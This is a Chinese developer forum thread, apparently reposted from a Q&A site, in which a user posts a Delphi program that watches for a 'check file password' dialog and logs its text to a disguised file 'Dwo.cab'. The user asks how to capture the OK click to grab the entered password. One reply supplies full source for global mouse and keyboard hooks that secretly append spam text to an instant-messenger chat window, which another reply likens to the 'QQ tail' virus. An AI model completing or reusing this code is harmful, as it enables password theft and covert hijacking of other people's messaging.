如何截獲外程序按鈕的被點擊消息?順便再問問如何更好的實現下面的程序!!!


program Project1;

uses
  Windows,
  Messages,
  SysUtils,
  Variants,
  Classes,
  Graphics,
  Controls,
  Forms,
  Dialogs;

{$R *.res}
var
  h,hwndedit,hbutton:hwnd;
  i:integer;
  f:textfile;
  c:pchar;
begin
 if  not FileExists('Dwo.cab') then
 begin
       h:=CreateFile(PChar('Dwo.cab'),GENERIC_WRITE, FILE_SHARE_Read,nil, CREATE_ALWAYS, 0, 0);
       CloseHandle(h);
 end;
 while 1=1 do
 begin
   i:=0 ;
   c:='';
   sleep(1000);
   h:=GetForegroundWindow;
   i:=GetWindowTextLength(h)+1;
   if i>1 then
   begin
     GetMem(c,i);
     GetWindowText(h,c,i);
     if strpos(c,'檢查文件密碼')<>nil then
     begin
       assignFile(F, 'Dwo.cab');
       append(f);
       writeln(f,c);
       hwndedit:=FindWindowEx(h,0, 'Edit', nil);
       GetwindowText(h, c ,12);
       hbutton:=FindWindowEx(h,0, 'button', '確定');
       // 下面應該是截獲那個hbutton按鈕的點擊消息
       // if button is clicked then
       writeln(f,c);
       flush(f);
       closefile(f);
       FreeMem(c,0);
       break;
     end;
   end;
 end;

end.

請看源代碼的注釋!

謝謝!

11 个解决方案

#1


寫一個全局的鍵盤Hook

#2


有些類似qq尾巴病毒的原理...

#3


Win98se+delphi7,我自己編寫的,不過對qq沒有測試過,我自己寫了個象qq的界面接收發送消息的窗口,用來測試的,給你吧,寫的不好.看看對你的問題是否有提示。
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons;

type
  TForm1 = class(TForm)
    BitBtn1: TBitBtn;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    function GetWndText(hWnd:HWND):string;
    procedure SetWndText(hWnd:HWND;szText:string);
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  hMouse:HHook;
  hKey:HHook;
const
  sendStr='就讓我面對冰冷的電腦,想象你的笑容......';  
implementation

{$R *.dfm}

function TForm1.GetWndText(hWnd: HWND): string;
var
  bufTemp:pchar;
  bufSize:longint;
  L:longint;
begin
  bufSize:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;
  GetMem(bufTemp,bufSize);
  try
    L:=longint(bufTemp);
    SendMessage(hWnd,WM_GETTEXT,bufSize,L);
    result:=StrPas(bufTemp);
  finally
    FreeMem(bufTemp,bufSize);
  end;
end;

procedure TForm1.SetWndText(hWnd: HWND;szText:string);
var
  mText:pchar;
begin
  GetMem(mText,length(szText));
  StrCopy(mText,pchar(szText));
  try
    SendMessage(hWnd,WM_SETTEXT,0,integer(mText));
  finally
    FreeMem(mText,length(szText));
  end;
end;

function MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
stdcall;export;
var
  P:TPoint;
  hWindow,hChat,hButton_1,hButton_2:HWND;
  s:string;
begin
  result:=0;
  if wParam=WM_LBUTTONDOWN then
  begin
    hWindow:=FindWindow(NIL,'發送消息');
    if hWindow<>0 then
    begin
      GetCursorPos(P);
      hButton_1:=WindowFromPoint(P);
      hButton_2:=FindWindowEx(hWindow,0,NIL,'送訊息');
      if ((hButton_1<>0) and (hButton_2<>0) and
          (hButton_1=hButton_2)) then
      begin
        hChat:=FindWindowEx(hWindow,0,'TRichEdit',NIL);
        if hChat<>0 then
        begin
          s:=Form1.GetWndText(hChat);
          s:=s+#13+#10+sendStr;
          Form1.SetWndText(hChat,s);
        end
        else
          Exit;
      end;
    end;
  end;
  if iCode<0 then
    result:=CallNextHookEx(hMouse,iCode,wParam,lParam);
end;

function KeyHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
  stdcall;export;
var
  hWindow:HWND;
  hChat:HWND;
  s:string;
begin
  result:=0;
  //截獲oicq發送消息的快捷鍵(Ctrl+Enter)
  //if ((wParam=VK_RETURN) and (GetKeyState(VK_CONTROL)<>0)) then
  if((GetKeyState(VK_CONTROL)<>0) and (wParam=VK_RETURN)) then
  begin
    hWindow:=FindWindow(NIL,'發送消息');
    if hWindow<>0 then
    begin
      hChat:=FindWindowEx(hWindow,0,'TRichEdit',NIL);
      if hChat<>0 then
      begin
        s:=Form1.GetWndText(hChat);
        s:=s+#13+#10+sendStr;
        Form1.SetWndText(hChat,s);
      end;
    end
    else
      Exit;
  end;
  if iCode<0 then
    result:=CallNextHookEx(hKey,iCode,wParam,lParam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  hMouse:=SetWindowsHookEx(WH_MOUSE,@MouseHookProc,HInstance,0);
  hKey:=SetWindowsHookEx(WH_KEYBOARD,KeyHookProc,HInstance,0);
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
   UnHookWindowsHookEx(hMouse);
   UnHookWindowsHookEx(hKey);
   Application.Terminate;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  UnHookWindowsHookEx(hMouse);
  UnHookWindowsHookEx(hKey);
end;

end.

#4


MARK一下。。。

#5


暈……

#6


樓上的強

#7


#8


用SETWINDOWHOOKEX建立一個GETMESSAGE類型的消息鈎子是可以的,我以前也做過這方面的東西。

#9


我有個DLL,可以截取消息..要的話給我發消息

#10


好東西,學習一下,再頂一下!

#11


學習

注意!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。



 
粤ICP备14056181号  © 2014-2020 ITdaan.com